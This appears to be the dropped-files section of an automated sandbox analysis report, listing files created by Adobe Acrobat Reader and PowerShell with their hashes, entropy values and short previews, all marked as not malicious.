Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.286660747135279
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBAzcNrnnVoZcg1vRcR0YEmoAvJf21rPeUkwRe9:YvXKX/NrnWZc0vrdG+16Ukee9
MD5:	3297B4D2BC1EB5DD20B15289629C001B
SHA1:	F0292977D3BA08A5E3AC588856239C798915B4B3
SHA-256:	F2C09012C23E4C830F225FCA64D08DA90EE76150B7538AFA588C17873FCD956D
SHA-512:	4B4E8253D5ABF5A4A202016B266526273B9A92882B8E4401CDD425D47C49589BC122F4F639D00A43AB0BB8D2FD2366E4F19DBA1CC64FF520E2F5EE9DF076B458
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"39cee6dc-5196-4298-b54e-bdd16b977ee8","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736753191467,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.661378718533481
Encrypted:	false
SSDEEP:	24:Yv6XVLWzvr+amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSUE:YvKykBgkDMUJUAh8cvMt
MD5:	6582AE1D3708508AD9C6E125C6720694
SHA1:	6660CD811FF04822421A97BD77FAB3675FEC2791
SHA-256:	7CF5B44F39AD2AAB072D09FF9BA53B442DDC4AFF71FB7AF9977A4AEA9E5D4C19
SHA-512:	85F99AE5691D9D43C2DA8CCECD168C50EE2F78CD4A06608E05E045AB60C4B819949417FE4D674C262DA8B1A1F130B6E9C1F484597BB4CF2E3C139642CE6B743C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"39cee6dc-5196-4298-b54e-bdd16b977ee8","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736753191467,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.262902400138442
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBAzcNrnnVoZcg1vRcR0YEmoAvJfshHHrPeUkwRe9:YvXKX/NrnWZc0vrdGUUUkee9
MD5:	09C9E23E450559D7DF5E67EE6B82710C
SHA1:	CA4ECA519182A731AD3C8D1402199DD43319D8FC
SHA-256:	067333EDFC791D3D05E69D9A39CBE2417E55CD45F6BEF57BA4D4CFEBD840B4C3
SHA-512:	3ADA03FECA7F51AF45629577F1680821D5B6DE822308505A7A3E431404AEE53095FD5F788DC66ADFB0DD7389EC4C235CCA38CE800A3CD514D4DA19E11E405584
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"39cee6dc-5196-4298-b54e-bdd16b977ee8","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736753191467,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.283824267259202
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBAzcNrnnVoZcg1vRcR0YEmoAvJTqgFCrPeUkwRe9:YvXKX/NrnWZc0vrdGTq16Ukee9
MD5:	0D072B197DEF85D80F49E669F88B7FA9
SHA1:	6B820E3694A640B8DDFE2485841660CA97E3227C
SHA-256:	C4FA750B6A4102233BB59B16B54F2BD27245DB239D0C83C64DF0EAF55770DC31
SHA-512:	B2F93E5574C9D97C8D39D07BF9A95B72E0B7BD5C2EB045FBA58743AB32773CF0079076A6E90E216D65BBF130B37E9261FC436A16406768E5D8DFA010941DCAC2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"39cee6dc-5196-4298-b54e-bdd16b977ee8","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736753191467,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.141794672871381
Encrypted:	false
SSDEEP:	24:YiPsaJvmaykQZiEi5qQlBsA34jjlo3sj0S9OS12Oq2LSXCFGWXGXDvm5JqdX79Vx:Y10n5th3glo3+kSnqRwGaGXKTq795pz
MD5:	E0EFB0053D83A295CEE6D872222B8BEC
SHA1:	35107A2B9360A96AD92035ECDDE696C50B6C5DE8
SHA-256:	E8282B5D501D730D54423A852CD4DFEFE7A0DC389B024E0CDC0C2D80E163F766
SHA-512:	B6919381DDC13C22A1E01AD93F3A1C3696F4BA20750C7EF9EF849DF984326C937B3338F99BBC87C53DA93C1D6BCECAD6B6108E85D3BBA4F3C04558E78B2C5D86
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"0434cbf226c5814725194c0e94a2504f","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736575171000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"09d5916698f9e5d59cc4366dba99c0d4","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736575171000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"3c71d83e6b6dce440af993a3c736f3cd","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736575171000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"42ccd02081ecb1d964d2ba76ebcf0df1","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736575171000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"947d83a0e9bd4744d6f17a40829ae6f6","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736575171000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"18f90c97947802133b6b9a15051dcd72","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1876334772988675
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUJSvR9H9vxFGiDIAEkGVvpZ:lNVmswUUUUUUUUJ+FGSItt
MD5:	79280D488A90E97932DE938202D215FA
SHA1:	D3C04BD75567C0757614489D9E6FABEE0F77A702
SHA-256:	0436FC1B557879D4E5D6D269CF1DCD2C3AC82512CCC7D3C379810F0C0C6307A8
SHA-512:	6269296ECCBA383152038A37CEE1D014E36541D8288F5DE1F764596BB4DA66FCDEC8E0D098C230F9D2F0C4D397F49D4D9D3BF7893F927FF8B8EA2E64B3503D80
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6077398065643502
Encrypted:	false
SSDEEP:	48:7MvKUUUUUUUUUUhvR9H9vxFGiDIAEkGVviqFl2GL7msB:7FUUUUUUUUUUFFGSItcKVmsB
MD5:	97780CB6B5BAEEB7E5A21E56126135E2
SHA1:	AD7AD0308F7EACAF50D4D10320076923BAD2B9EB
SHA-256:	7AE75FA860821A5858CBCF5A5F391E58FA53CE0304785D7CCAE559FF371329C6
SHA-512:	B73AA634591AFEA37323247EFCE8CF8319707C72BD9D70F62B830565BCFDA7B3693A8368A345C69746C5EDA235AA813413C170ACB2E6595D60468F3AA6D3AD38
Malicious:	false
Preview:	.... .c......%%......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgjzT2K3Z/P4pQSS7SXcZO+MUNmYYyu:6a6TZ44ADEjzSK3Z/P4pOSXc9K
MD5:	019CE795EF8C3EB977FC89CAD2DB0F12
SHA1:	276B6D94B2E2E0B1D5BAA2504C85CA5BFD8C3FDA
SHA-256:	FBB696ED0B32CC9C3526A5F981E6BB6D84E5D8C1C9647C140A44366F38CA9003
SHA-512:	CAF56AE0EAF3C900469896985D63A179DA71F5BDE5A43188A5B9E2F7E72050BB6E112F358B58132F990889B27BD1C2D71CF454AF32336B44EE5843537CE70527
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllultnxj:NllU
MD5:	F93358E626551B46E6ED5A0A9D29BD51
SHA1:	9AECA90CCBFD1BEC2649D66DF8EBE64C13BACF03
SHA-256:	0347D1DE5FEA380ADFD61737ECD6068CB69FC466AC9C77F3056275D5FCAFDC0D
SHA-512:	D609B72F20BF726FD14D3F2EE91CCFB2A281FAD6BC88C083BFF7FCD177D2E59613E7E4E086DB73037E2B0B8702007C8F7524259D109AF64942F3E60BFCC49853
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIf7e57.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5162684137903053
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88Cl8CH:Qw946cPbiOxDlbYnuRKdjw
MD5:	9A57335F376C99EA753294C65C074E85
SHA1:	D8F45C263CF56B8DB6F7E1920A748AA86A08E27A
SHA-256:	B45845DE58DCB76FB414645038F57A89E8CB26DCD3CC53DA5801A514DE376568
SHA-512:	CCC7FB76B88F9937F9948F5C50C94ED617E314BD9028CD312906D8195040EE3B200438BBF3CE2ABF20512D73FF1F8BA77B03BA4E4FF083F36E2BF31B0E34E287
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.0.:.5.9.:.3.3. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nh1gkts0.p3p.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pkv11ibs.gj5.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9v5m8en_16e2rk8_4sk.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 00-59-27-813.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.374853473399571
Encrypted:	false
SSDEEP:	384:F04BQ8Vqua1NsjhSVrmzbA/a9VImLX3haRXTFt9lPiIuAoSJ59LV8P8J0HtkTG+B:2s6
MD5:	61C14CA6A7CA91219654CF1B16D25D41
SHA1:	FB9005B6563D2AAAC0C14F6BDFC165D4958C0216
SHA-256:	23F83F5D7C04EE21AA9B29B9DE25816DC2025A2FD1537BEDB7F0041E7A6F2C21
SHA-512:	CB67E822E6FB4164175DA78FD1F6801CD52C521C05813BAC4C88A83660E1B3FD8DFFC6DFBA133F3EA7B60A8C98C3924DFE03AD5BC1D5CEDA5B39C6E27F1DCADC
Malicious:	false
Preview:	SessionID=55445958-8c21-47fd-a6c3-6b9d26c30f08.1736575167852 Timestamp=2025-01-11T00:59:27:852-0500 ThreadID=7804 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=55445958-8c21-47fd-a6c3-6b9d26c30f08.1736575167852 Timestamp=2025-01-11T00:59:27:853-0500 ThreadID=7804 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=55445958-8c21-47fd-a6c3-6b9d26c30f08.1736575167852 Timestamp=2025-01-11T00:59:27:853-0500 ThreadID=7804 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=55445958-8c21-47fd-a6c3-6b9d26c30f08.1736575167852 Timestamp=2025-01-11T00:59:27:853-0500 ThreadID=7804 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=55445958-8c21-47fd-a6c3-6b9d26c30f08.1736575167852 Timestamp=2025-01-11T00:59:27:853-0500 ThreadID=7804 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.392809324687764
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rX:z
MD5:	115CF84B22A351D65C280C4A61D3D194
SHA1:	BD86F6FD07E1831BE368DF99E3824331ADDA76A1
SHA-256:	19A0E5271A955113D729AA2FF45712AF266C8F9F4E15F3D3BEBD3FA3CEE3DC00
SHA-512:	085A5FB6AE008B2D795AEBEA5814F827372A5165D4EFF19742B4195B5EB1F478AF51828D17B0E7F5010D14265D96BABA24B9B75D411850A0871E551840D327AE
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\648892ef-371d-4f4f-b89a-70b01aaf971b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\a2876bfd-b6f5-492a-aacd-7022e8f58bf0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/NwYIGNP4mOWL07oXGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:1wZG6bWLxXGZN3mlind9i4ufFXpAXkru
MD5:	FA95722B2749DAB357E84C40AB8EA1D7
SHA1:	59E6E28A4BA52427E26F820C39ADD22F771E03B9
SHA-256:	5D7FCC03EB815D5A6332FF4D584E473D37C9758CD8388CECF8DF1D4F37B435C4
SHA-512:	1A209E9E1B92C7FA527017E3A8CBA183901EF57A1C263AF9A53F328F21F725663E82180A965F9A3DA4889AD5794E0C34AAD4D849E67BE896ED41ED2E0D2C3B52
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\c6289276-a17e-41cd-999e-fba868ad8004.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
